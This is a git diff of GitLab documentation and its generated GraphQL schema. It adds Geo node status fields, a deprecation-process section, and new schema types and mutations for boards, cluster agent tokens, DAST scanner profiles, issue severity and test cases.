+ "snippet_repositories_count": 10,
+ "snippet_repositories_checksummed_count": 10,
+ "snippet_repositories_checksum_failed_count": 0,
+ "snippet_repositories_registry_count": 10,
+ "snippet_repositories_synced_count": 6,
+ "snippet_repositories_failed_count": 3
},
{
"geo_node_id": 2,
@@ -442,12 +448,30 @@ Example response:
"last_successful_status_check_timestamp": 1510125024,
"version": "10.3.0",
"revision": "33d33a096a",
+ "merge_request_diffs_count": 12,
+ "merge_request_diffs_checksummed_count": 8,
+ "merge_request_diffs_checksum_failed_count": 0,
+ "merge_request_diffs_registry_count": 12,
+ "merge_request_diffs_synced_count": 9,
+ "merge_request_diffs_failed_count": 3,
"package_files_count": 10,
"package_files_checksummed_count": 10,
"package_files_checksum_failed_count": 0,
"package_files_registry_count": 10,
"package_files_synced_count": 6,
- "package_files_failed_count": 3
+ "package_files_failed_count": 3,
+ "terraform_states_count": 10,
+ "terraform_states_checksummed_count": 10,
+ "terraform_states_checksum_failed_count": 0,
+ "terraform_states_registry_count": 10,
+ "terraform_states_synced_count": 6,
+ "terraform_states_failed_count": 3
+ "snippet_repositories_count": 10,
+ "snippet_repositories_checksummed_count": 10,
+ "snippet_repositories_checksum_failed_count": 0,
+ "snippet_repositories_registry_count": 10,
+ "snippet_repositories_synced_count": 6,
+ "snippet_repositories_failed_count": 3
}
]
```
diff --git a/doc/api/graphql/getting_started.md b/doc/api/graphql/getting_started.md
index 12665f68f25..c2220403461 100644
--- a/doc/api/graphql/getting_started.md
+++ b/doc/api/graphql/getting_started.md
@@ -192,7 +192,7 @@ When you see the result `id` of the note you created - take a note of it. Now le
```graphql
mutation {
- updateNote(input: { id: "gid://gitlab/Note/<note id>",
+ updateNote(input: { id: "gid://gitlab/Note/<note ID>",
body: "*SIPS TEA*"
}) {
note {
@@ -210,7 +210,7 @@ Let's delete the comment, since our tea is all gone.
```graphql
mutation {
- destroyNote(input: { id: "gid://gitlab/Note/<note id>" }) {
+ destroyNote(input: { id: "gid://gitlab/Note/<note ID>" }) {
note {
id
body
diff --git a/doc/api/graphql/index.md b/doc/api/graphql/index.md
index c513dea239a..bda24a7e90a 100644
--- a/doc/api/graphql/index.md
+++ b/doc/api/graphql/index.md
@@ -59,6 +59,23 @@ There are no plans to deprecate the REST API. To reduce the technical burden of
supporting two APIs in parallel, they should share implementations as much as
possible.
+### Deprecation process
+
+Fields marked for removal from the GitLab GraphQL API are first **deprecated** but still available
+for at least six releases, and then **removed entirely**.
+Removals occur at X.0 and X.6 releases.
+
+For example, a field can be marked as deprecated (but still usable) in %12.7, but can be used until its removal in %13.6.
+When marked as deprecated, an alternative should be provided if there is one.
+That gives consumers of the GraphQL API a minimum of six months to update their GraphQL queries.
+
+The process is as follows:
+
+1. The field is listed as deprecated in [GraphQL API Reference](reference/index.md).
+1. Removals are announced at least one release prior in the Deprecation Warnings section of the
+ release post (at or prior to X.11 and X.5 releases).
+1. Fields meeting criteria are removed in X.0 or X.6.
+
## Available queries
The GraphQL API includes the following queries at the root level:
@@ -96,3 +113,11 @@ Machine-readable versions are also available:
- [JSON format](reference/gitlab_schema.json)
- [IDL format](reference/gitlab_schema.graphql)
+
+## Generate updates for documentation
+
+If you've changed the GraphQL schema, you should set up an MR to gain approval of your changes.
+To generate the required documentation and schema, follow the instructions given in the
+[Rake tasks for developers](../../development/rake_tasks.md#update-graphql-documentation-and-schema-definitions) page.
+
+Be sure to run these commands using the [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit/).
diff --git a/doc/api/graphql/reference/gitlab_schema.graphql b/doc/api/graphql/reference/gitlab_schema.graphql
index 1d920894eec..01d5044057a 100644
--- a/doc/api/graphql/reference/gitlab_schema.graphql
+++ b/doc/api/graphql/reference/gitlab_schema.graphql
@@ -731,7 +731,7 @@ type AlertTodoCreatePayload {
}
"""
-An emoji awarded by a user.
+An emoji awarded by a user
"""
type AwardEmoji {
"""
@@ -1029,7 +1029,7 @@ type Board {
"""
Filters applied when selecting issues on the board
"""
- issueFilters: BoardEpicIssueInput
+ issueFilters: BoardIssueInput
"""
Returns the last _n_ elements from the list.
@@ -1133,7 +1133,12 @@ type BoardEdge {
node: Board
}
-input BoardEpicIssueInput {
+"""
+Identifier of Board
+"""
+scalar BoardID
+
+input BoardIssueInput {
"""
Filter by assignee username
"""
@@ -1145,9 +1150,14 @@ input BoardEpicIssueInput {
authorUsername: String
"""
- Filter by epic ID
+ Filter by epic ID. Incompatible with epicWildcardId
+ """
+ epicId: ID
+
+ """
+ Filter by epic ID wildcard. Incompatible with epicId
"""
- epicId: String
+ epicWildcardId: EpicWildcardId
"""
Filter by label name
@@ -1167,7 +1177,7 @@ input BoardEpicIssueInput {
"""
List of negated params. Warning: this argument is experimental and a subject to change in future
"""
- not: NegatedBoardEpicIssueInput
+ not: NegatedBoardIssueInput
"""
Filter by release tag
@@ -1175,17 +1185,17 @@ input BoardEpicIssueInput {
releaseTag: String
"""
+ Search query for issue title or description
+ """
+ search: String
+
+ """
Filter by weight
"""
weight: String
}
"""
-Identifier of Board
-"""
-scalar BoardID
-
-"""
Represents a list for an issue board
"""
type BoardList {
@@ -1219,6 +1229,11 @@ type BoardList {
before: String
"""
+ Filters applied when selecting issues in the board list
+ """
+ filters: BoardIssueInput
+
+ """
Returns the first _n_ elements from the list.
"""
first: Int
@@ -1305,12 +1320,17 @@ Autogenerated input type of BoardListCreate
"""
input BoardListCreateInput {
"""
+ Global ID of an existing user
+ """
+ assigneeId: UserID
+
+ """
Create the backlog list
"""
backlog: Boolean
"""
- The Global ID of the issue board to mutate
+ Global ID of the issue board to mutate
"""
boardId: BoardID!
@@ -1320,9 +1340,14 @@ input BoardListCreateInput {
clientMutationId: String
"""
- ID of an existing label
+ Global ID of an existing label
"""
labelId: LabelID
+
+ """
+ Global ID of an existing milestone
+ """
+ milestoneId: MilestoneID
}
"""
@@ -1422,6 +1447,36 @@ type Branch {
name: String!
}
+"""
+Represents the total number of issues and their weights for a particular day
+"""
+type BurnupChartDailyTotals {
+ """
+ Number of closed issues as of this day
+ """
+ completedCount: Int!
+
+ """
+ Total weight of closed issues as of this day
+ """
+ completedWeight: Int!
+
+ """
+ Date for burnup totals
+ """
+ date: ISO8601Date!
+
+ """
+ Number of issues as of this day
+ """
+ scopeCount: Int!
+
+ """
+ Total weight of issues as of this day
+ """
+ scopeWeight: Int!
+}
+
type CiGroup {
"""
Jobs in group
@@ -1561,6 +1616,11 @@ type CiJobEdge {
node: CiJob
}
+"""
+Identifier of Ci::Pipeline
+"""
+scalar CiPipelineID
+
type CiStage {
"""
Group of jobs for the stage
@@ -1650,11 +1710,233 @@ type ClusterAgent {
project: Project
"""
+ Tokens associated with the cluster agent
+ """
+ tokens(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+ ): ClusterAgentTokenConnection
+
+ """
Timestamp the cluster agent was updated
"""
updatedAt: Time
}
+"""
+The connection type for ClusterAgent.
+"""
+type ClusterAgentConnection {
+ """
+ A list of edges.
+ """
+ edges: [ClusterAgentEdge]
+
+ """
+ A list of nodes.
+ """
+ nodes: [ClusterAgent]
+
+ """
+ Information to aid in pagination.
+ """
+ pageInfo: PageInfo!
+}
+
+"""
+Autogenerated input type of ClusterAgentDelete
+"""
+input ClusterAgentDeleteInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Global id of the cluster agent that will be deleted
+ """
+ id: ClustersAgentID!
+}
+
+"""
+Autogenerated return type of ClusterAgentDelete
+"""
+type ClusterAgentDeletePayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+}
+
+"""
+An edge in a connection.
+"""
+type ClusterAgentEdge {
+ """
+ A cursor for use in pagination.
+ """
+ cursor: String!
+
+ """
+ The item at the end of the edge.
+ """
+ node: ClusterAgent
+}
+
+type ClusterAgentToken {
+ """
+ Cluster agent this token is associated with
+ """
+ clusterAgent: ClusterAgent
+
+ """
+ Timestamp the token was created
+ """
+ createdAt: Time
+
+ """
+ Global ID of the token
+ """
+ id: ClustersAgentTokenID!
+}
+
+"""
+The connection type for ClusterAgentToken.
+"""
+type ClusterAgentTokenConnection {
+ """
+ A list of edges.
+ """
+ edges: [ClusterAgentTokenEdge]
+
+ """
+ A list of nodes.
+ """
+ nodes: [ClusterAgentToken]
+
+ """
+ Information to aid in pagination.
+ """
+ pageInfo: PageInfo!
+}
+
+"""
+Autogenerated input type of ClusterAgentTokenCreate
+"""
+input ClusterAgentTokenCreateInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Global ID of the cluster agent that will be associated with the new token
+ """
+ clusterAgentId: ClustersAgentID!
+}
+
+"""
+Autogenerated return type of ClusterAgentTokenCreate
+"""
+type ClusterAgentTokenCreatePayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+
+ """
+ Token secret value. Make sure you save it - you won't be able to access it again
+ """
+ secret: String
+
+ """
+ Token created after mutation
+ """
+ token: ClusterAgentToken
+}
+
+"""
+Autogenerated input type of ClusterAgentTokenDelete
+"""
+input ClusterAgentTokenDeleteInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Global ID of the cluster agent token that will be deleted
+ """
+ id: ClustersAgentTokenID!
+}
+
+"""
+Autogenerated return type of ClusterAgentTokenDelete
+"""
+type ClusterAgentTokenDeletePayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+}
+
+"""
+An edge in a connection.
+"""
+type ClusterAgentTokenEdge {
+ """
+ A cursor for use in pagination.
+ """
+ cursor: String!
+
+ """
+ The item at the end of the edge.
+ """
+ node: ClusterAgentToken
+}
+
+"""
+Identifier of Clusters::Agent
+"""
+scalar ClustersAgentID
+
+"""
+Identifier of Clusters::AgentToken
+"""
+scalar ClustersAgentTokenID
+
type Commit {
"""
Author of the commit
@@ -1971,12 +2253,12 @@ input ConfigureSastInput {
clientMutationId: String
"""
- Payload containing SAST variable values (https://docs.gitlab.com/ee/user/application_security/sast/#available-variables).
+ SAST CI configuration for the project
"""
- configuration: JSON!
+ configuration: SastCiConfigurationInput!
"""
- Full path of the project.
+ Full path of the project
"""
projectPath: ID!
}
@@ -1996,9 +2278,14 @@ type ConfigureSastPayload {
errors: [String!]!
"""
- JSON containing the status of MR creation.
+ Status of creating the commit for the supplied SAST CI configuration
+ """
+ status: String!
+
+ """
+ Redirect path to use when the response is successful
"""
- result: JSON
+ successPath: String
}
"""
@@ -2392,7 +2679,7 @@ input CreateEpicInput {
clientMutationId: String
"""
- Indicates if the epic is confidential. Will be ignored if `confidential_epics` feature flag is disabled
+ Indicates if the epic is confidential
"""
confidential: Boolean
@@ -2672,21 +2959,11 @@ input CreateSnippetInput {
clientMutationId: String
"""
- Content of the snippet
- """
- content: String
-
- """
Description of the snippet
"""
description: String
"""
- File name of the snippet
- """
- fileName: String
-
- """
The project full path the snippet is associated with
"""
projectPath: ID
@@ -2728,6 +3005,88 @@ type CreateSnippetPayload {
}
"""
+Autogenerated input type of CreateTestCase
+"""
+input CreateTestCaseInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ The test case description
+ """
+ description: String
+
+ """
+ The IDs of labels to be added to the test case.
+ """
+ labelIds: [ID!]
+
+ """
+ The project full path to create the test case
+ """
+ projectPath: ID!
+
+ """
+ The test case title
+ """
+ title: String!
+}
+
+"""
+Autogenerated return type of CreateTestCase
+"""
+type CreateTestCasePayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+
+ """
+ The test case created
+ """
+ testCase: Issue
+}
+
+interface CurrentUserTodos {
+ """
+ Todos for the current user
+ """
+ currentUserTodos(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+
+ """
+ State of the todos
+ """
+ state: TodoStateEnum
+ ): TodoConnection!
+}
+
+"""
Autogenerated input type of DastOnDemandScanCreate
"""
input DastOnDemandScanCreateInput {
@@ -2737,6 +3096,11 @@ input DastOnDemandScanCreateInput {
clientMutationId: String
"""
+ ID of the scanner profile to be used for the scan.
+ """
+ dastScannerProfileId: DastScannerProfileID
+
+ """
ID of the site profile to be used for the scan.
"""
dastSiteProfileId: DastSiteProfileID!
@@ -2775,13 +3139,23 @@ enum DastScanTypeEnum {
}
"""
-Represents a DAST scanner profile.
+Represents a DAST scanner profile
"""
type DastScannerProfile {
"""
+ Relative web path to the edit page of a scanner profile
+ """
+ editPath: String
+
+ """
ID of the DAST scanner profile
"""
- id: ID!
+ globalId: DastScannerProfileID!
+
+ """
+ ID of the DAST scanner profile. Deprecated in 13.4: Use `global_id`
+ """
+ id: ID! @deprecated(reason: "Use `global_id`. Deprecated in 13.4")
"""
Name of the DAST scanner profile
@@ -2789,7 +3163,7 @@ type DastScannerProfile {
profileName: String
"""
- The maximum number of seconds allowed for the spider to traverse the site
+ The maximum number of minutes allowed for the spider to traverse the site
"""
spiderTimeout: Int
@@ -2839,7 +3213,7 @@ input DastScannerProfileCreateInput {
profileName: String!
"""
- The maximum number of seconds allowed for the spider to traverse the site.
+ The maximum number of minutes allowed for the spider to traverse the site.
"""
spiderTimeout: Int
@@ -2866,7 +3240,47 @@ type DastScannerProfileCreatePayload {
"""
ID of the scanner profile.
"""
- id: ID
+ globalId: DastScannerProfileID
+
+ """
+ ID of the scanner profile.. Deprecated in 13.4: Use `global_id`
+ """
+ id: ID @deprecated(reason: "Use `global_id`. Deprecated in 13.4")
+}
+
+"""
+Autogenerated input type of DastScannerProfileDelete
+"""
+input DastScannerProfileDeleteInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Full path for the project the scanner profile belongs to.
+ """
+ fullPath: ID!
+
+ """
+ ID of the scanner profile to be deleted.
+ """
+ id: DastScannerProfileID!
+}
+
+"""
+Autogenerated return type of DastScannerProfileDelete
+"""
+type DastScannerProfileDeletePayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
}
"""
@@ -2885,7 +3299,67 @@ type DastScannerProfileEdge {
}
"""
-Represents a DAST Site Profile.
+Identifier of DastScannerProfile
+"""
+scalar DastScannerProfileID
+
+"""
+Autogenerated input type of DastScannerProfileUpdate
+"""
+input DastScannerProfileUpdateInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ The project the scanner profile belongs to.
+ """
+ fullPath: ID!
+
+ """
+ ID of the scanner profile to be updated.
+ """
+ id: DastScannerProfileID!
+
+ """
+ The name of the scanner profile.
+ """
+ profileName: String!
+
+ """
+ The maximum number of minutes allowed for the spider to traverse the site.
+ """
+ spiderTimeout: Int!
+
+ """
+ The maximum number of seconds allowed for the site under test to respond to a request.
+ """
+ targetTimeout: Int!
+}
+
+"""
+Autogenerated return type of DastScannerProfileUpdate
+"""
+type DastScannerProfileUpdatePayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+
+ """
+ ID of the scanner profile.
+ """
+ id: DastScannerProfileID
+}
+
+"""
+Represents a DAST Site Profile
"""
type DastSiteProfile {
"""
@@ -3131,7 +3605,7 @@ input DeleteAnnotationInput {
clientMutationId: String
"""
- The global id of the annotation to delete
+ The global ID of the annotation to delete
"""
id: ID!
}
@@ -3152,7 +3626,7 @@ type DeleteAnnotationPayload {
}
"""
-The response from the AdminSidekiqQueuesDeleteJobs mutation.
+The response from the AdminSidekiqQueuesDeleteJobs mutation
"""
type DeleteJobsResponse {
"""
@@ -3174,7 +3648,37 @@ type DeleteJobsResponse {
"""
A single design
"""
-type Design implements DesignFields & Noteable {
+type Design implements CurrentUserTodos & DesignFields & Noteable {
+ """
+ Todos for the current user
+ """
+ currentUserTodos(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+
+ """
+ State of the todos
+ """
+ state: TodoStateEnum
+ ): TodoConnection!
+
"""
The diff refs for this design
"""
@@ -3312,11 +3816,11 @@ type Design implements DesignFields & Noteable {
}
"""
-A design pinned to a specific version. The image field reflects the design as of the associated version.
+A design pinned to a specific version. The image field reflects the design as of the associated version
"""
type DesignAtVersion implements DesignFields {
"""
- The underlying design.
+ The underlying design
"""
design: Design!
@@ -3412,7 +3916,7 @@ type DesignAtVersionEdge {
}
"""
-A collection of designs.
+A collection of designs
"""
type DesignCollection {
"""
@@ -3952,6 +4456,41 @@ enum DesignVersionEvent {
}
"""
+Autogenerated input type of DestroyBoard
+"""
+input DestroyBoardInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ The global ID of the board to destroy
+ """
+ id: BoardID!
+}
+
+"""
+Autogenerated return type of DestroyBoard
+"""
+type DestroyBoardPayload {
+ """
+ The board after mutation
+ """
+ board: Board
+
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+}
+
+"""
Autogenerated input type of DestroyNote
"""
input DestroyNoteInput {
@@ -4567,9 +5106,9 @@ type EnvironmentEdge {
}
"""
-Represents an epic.
+Represents an epic
"""
-type Epic implements Noteable {
+type Epic implements CurrentUserTodos & Noteable {
"""
Author of the epic
"""
@@ -4673,6 +5212,36 @@ type Epic implements Noteable {
createdAt: Time
"""
+ Todos for the current user
+ """
+ currentUserTodos(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+
+ """
+ State of the todos
+ """
+ state: TodoStateEnum
+ ): TodoConnection!
+
+ """
Number of open and closed descendant epics and issues
"""
descendantCounts: EpicDescendantCount
@@ -5034,7 +5603,7 @@ type EpicConnection {
}
"""
-Counts of descendent epics.
+Counts of descendent epics
"""
type EpicDescendantCount {
"""
@@ -5109,9 +5678,19 @@ type EpicHealthStatus {
}
"""
+Identifier of Epic
+"""
+scalar EpicID
+
+"""
Relationship between an epic and an issue
"""
-type EpicIssue implements Noteable {
+type EpicIssue implements CurrentUserTodos & Noteable {
+ """
+ Alert associated to this issue
+ """
+ alertManagementAlert: AlertManagementAlert
+
"""
Assignees of the issue
"""
@@ -5163,6 +5742,36 @@ type EpicIssue implements Noteable {
createdAt: Time!
"""
+ Todos for the current user
+ """
+ currentUserTodos(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+
+ """
+ State of the todos
+ """
+ state: TodoStateEnum
+ ): TodoConnection!
+
+ """
Description of the issue
"""
description: String
@@ -5353,6 +5962,11 @@ type EpicIssue implements Noteable {
relativePosition: Int
"""
+ Severity level of the incident
+ """
+ severity: IssuableSeverity
+
+ """
State of the issue
"""
state: IssueState!
@@ -5589,7 +6203,7 @@ enum EpicSort {
}
"""
-State of an epic.
+State of an epic
"""
enum EpicState {
all
@@ -5672,6 +6286,21 @@ type EpicTreeReorderPayload {
errors: [String!]!
}
+"""
+Epic ID wildcard values
+"""
+enum EpicWildcardId {
+ """
+ Any epic is assigned
+ """
+ ANY
+
+ """
+ No epic is assigned
+ """
+ NONE
+}
+
type GeoNode {
"""
The maximum concurrency of container repository sync for this secondary node
@@ -5709,7 +6338,7 @@ type GeoNode {
name: String
"""
- Package file registries of the GeoNode. Available only when feature flag `geo_self_service_framework` is enabled
+ Package file registries of the GeoNode. Available only when feature flag `geo_package_file_replication` is enabled
"""
packageFileRegistries(
"""
@@ -5789,6 +6418,37 @@ type GeoNode {
syncObjectStorage: Boolean
"""
+ Find terraform state registries on this Geo node. Available only when feature
+ flag `geo_terraform_state_replication` is enabled
+ """
+ terraformStateRegistries(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Filters registries by their ID
+ """
+ ids: [ID!]
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+ ): TerraformStateRegistryConnection
+
+ """
The user-facing URL for this Geo node
"""
url: String
@@ -6057,6 +6717,36 @@ type Group {
fullPath: ID!
"""
+ A membership of a user within this group
+ """
+ groupMembers(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+
+ """
+ Search query
+ """
+ search: String
+ ): GroupMemberConnection
+
+ """
Indicates if Group timelogs are enabled for namespace
"""
groupTimelogsEnabled: Boolean
@@ -6403,6 +7093,16 @@ type Group {
Returns the last _n_ elements from the list.
"""
last: Int
+
+ """
+ Search project with most similar names or paths
+ """
+ search: String = null
+
+ """
+ Sort projects by this criteria
+ """
+ sort: NamespaceProjectSort = null
): ProjectConnection!
"""
@@ -6520,6 +7220,16 @@ type Group {
first: Int
"""
+ Returns only the vulnerabilities which have linked issues
+ """
+ hasIssues: Boolean
+
+ """
+ Returns only the vulnerabilities which have been resolved on default branch
+ """
+ hasResolution: Boolean
+
+ """
Returns the last _n_ elements from the list.
"""
last: Int
@@ -6545,6 +7255,11 @@ type Group {
severity: [VulnerabilitySeverity!]
"""
+ List vulnerabilities by sort order
+ """
+ sort: VulnerabilitySort = severity_desc
+
+ """
Filter vulnerabilities by state
"""
state: [VulnerabilityState!]
@@ -6652,13 +7367,43 @@ type Group {
): VulnerabilityScannerConnection
"""
+ Counts for each vulnerability severity in the group and its subgroups
+ """
+ vulnerabilitySeveritiesCount(
+ """
+ Filter vulnerabilities by project
+ """
+ projectId: [ID!]
+
+ """
+ Filter vulnerabilities by report type
+ """
+ reportType: [VulnerabilityReportType!]
+
+ """
+ Filter vulnerabilities by scanner
+ """
+ scanner: [String!]
+
+ """
+ Filter vulnerabilities by severity
+ """
+ severity: [VulnerabilitySeverity!]
+
+ """
+ Filter vulnerabilities by state
+ """
+ state: [VulnerabilityState!]
+ ): VulnerabilitySeveritiesCount
+
+ """
Web URL of the group
"""
webUrl: String!
}
"""
-Represents a Group Member
+Represents a Group Membership
"""
type GroupMember implements MemberInterface {
"""
@@ -6687,11 +7432,21 @@ type GroupMember implements MemberInterface {
group: Group
"""
+ ID of the member
+ """
+ id: ID!
+
+ """
Date and time the membership was last updated
"""
updatedAt: Time
"""
+ User that is associated with the member object
+ """
+ user: User!
+
+ """
Permissions for the current user on the resource
"""
userPermissions: GroupPermissions!
@@ -6808,6 +7563,121 @@ type InstanceSecurityDashboard {
"""
last: Int
): VulnerabilityScannerConnection
+
+ """
+ Counts for each vulnerability severity from projects selected in Instance Security Dashboard
+ """
+ vulnerabilitySeveritiesCount(
+ """
+ Filter vulnerabilities by project
+ """
+ projectId: [ID!]
+
+ """
+ Filter vulnerabilities by report type
+ """
+ reportType: [VulnerabilityReportType!]
+
+ """
+ Filter vulnerabilities by scanner
+ """
+ scanner: [String!]
+
+ """
+ Filter vulnerabilities by severity
+ """
+ severity: [VulnerabilitySeverity!]
+
+ """
+ Filter vulnerabilities by state
+ """
+ state: [VulnerabilityState!]
+ ): VulnerabilitySeveritiesCount
+}
+
+"""
+Represents a recorded measurement (object count) for the Admins
+"""
+type InstanceStatisticsMeasurement {
+ """
+ Object count
+ """
+ count: Int!
+
+ """
+ The type of objects being measured
+ """
+ identifier: MeasurementIdentifier!
+
+ """
+ The time the measurement was recorded
+ """
+ recordedAt: Time
+}
+
+"""
+The connection type for InstanceStatisticsMeasurement.
+"""
+type InstanceStatisticsMeasurementConnection {
+ """
+ A list of edges.
+ """
+ edges: [InstanceStatisticsMeasurementEdge]
+
+ """
+ A list of nodes.
+ """
+ nodes: [InstanceStatisticsMeasurement]
+
+ """
+ Information to aid in pagination.
+ """
+ pageInfo: PageInfo!
+}
+
+"""
+An edge in a connection.
+"""
+type InstanceStatisticsMeasurementEdge {
+ """
+ A cursor for use in pagination.
+ """
+ cursor: String!
+
+ """
+ The item at the end of the edge.
+ """
+ node: InstanceStatisticsMeasurement
+}
+
+"""
+Incident severity
+"""
+enum IssuableSeverity {
+ """
+ Critical severity
+ """
+ CRITICAL
+
+ """
+ High severity
+ """
+ HIGH
+
+ """
+ Low severity
+ """
+ LOW
+
+ """
+ Medium severity
+ """
+ MEDIUM
+
+ """
+ Unknown severity
+ """
+ UNKNOWN
}
"""
@@ -6820,7 +7690,12 @@ enum IssuableState {
opened
}
-type Issue implements Noteable {
+type Issue implements CurrentUserTodos & Noteable {
+ """
+ Alert associated to this issue
+ """
+ alertManagementAlert: AlertManagementAlert
+
"""
Assignees of the issue
"""
@@ -6872,6 +7747,36 @@ type Issue implements Noteable {
createdAt: Time!
"""
+ Todos for the current user
+ """
+ currentUserTodos(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+
+ """
+ State of the todos
+ """
+ state: TodoStateEnum
+ ): TodoConnection!
+
+ """
Description of the issue
"""
description: String
@@ -7052,6 +7957,11 @@ type Issue implements Noteable {
relativePosition: Int
"""
+ Severity level of the incident
+ """
+ severity: IssuableSeverity
+
+ """
State of the issue
"""
state: IssueState!
@@ -7173,6 +8083,11 @@ type IssueEdge {
}
"""
+Identifier of Issue
+"""
+scalar IssueID
+
+"""
Autogenerated input type of IssueMoveList
"""
input IssueMoveListInput {
@@ -7187,6 +8102,11 @@ input IssueMoveListInput {
clientMutationId: String
"""
+ The ID of the parent epic. NULL when removing the association
+ """
+ epicId: EpicID
+
+ """
ID of the board list that the issue will be moved from
"""
fromListId: ID
@@ -7197,12 +8117,12 @@ input IssueMoveListInput {
iid: String!
"""
- ID of issue after which the current issue will be positioned at
+ ID of issue that should be placed after the current issue
"""
moveAfterId: ID
"""
- ID of issue before which the current issue will be positioned at
+ ID of issue that should be placed before the current issue
"""
moveBeforeId: ID
@@ -7558,6 +8478,51 @@ type IssueSetLockedPayload {
}
"""
+Autogenerated input type of IssueSetSeverity
+"""
+input IssueSetSeverityInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ The IID of the issue to mutate
+ """
+ iid: String!
+
+ """
+ The project the issue to mutate is in
+ """
+ projectPath: ID!
+
+ """
+ Set the incident severity level.
+ """
+ severity: IssuableSeverity!
+}
+
+"""
+Autogenerated return type of IssueSetSeverity
+"""
+type IssueSetSeverityPayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+
+ """
+ The issue after mutation
+ """
+ issue: Issue
+}
+
+"""
Autogenerated input type of IssueSetSubscription
"""
input IssueSetSubscriptionInput {
@@ -7738,7 +8703,7 @@ enum IssueState {
}
"""
-Represents total number of issues for the represented statuses.
+Represents total number of issues for the represented statuses
"""
type IssueStatusCountsType {
"""
@@ -7770,12 +8735,22 @@ enum IssueType {
Issue issue type
"""
ISSUE
+
+ """
+ Test Case issue type
+ """
+ TEST_CASE
}
"""
-Represents an iteration object.
+Represents an iteration object
"""
-type Iteration {
+type Iteration implements TimeboxBurnupTimeSeriesInterface {
+ """
+ Daily scope and completed totals for burnup charts
+ """
+ burnupTimeSeries: [BurnupChartDailyTotals!]
+
"""
Timestamp of iteration creation
"""
@@ -8176,7 +9151,7 @@ type JiraUser {
gitlabUsername: String
"""
- Account id of the Jira user
+ Account ID of the Jira user
"""
jiraAccountId: String!
@@ -8319,6 +9294,41 @@ type MarkAsSpamSnippetPayload {
snippet: Snippet
}
+"""
+Possible identifier types for a measurement
+"""
+enum MeasurementIdentifier {
+ """
+ Group count
+ """
+ GROUPS
+
+ """
+ Issue count
+ """
+ ISSUES
+
+ """
+ Merge request count
+ """
+ MERGE_REQUESTS
+
+ """
+ Pipeline count
+ """
+ PIPELINES
+
+ """
+ Project count
+ """
+ PROJECTS
+
+ """
+ User count
+ """
+ USERS
+}
+
interface MemberInterface {
"""
GitLab::Access level
@@ -8341,18 +9351,78 @@ interface MemberInterface {
expiresAt: Time
"""
+ ID of the member
+ """
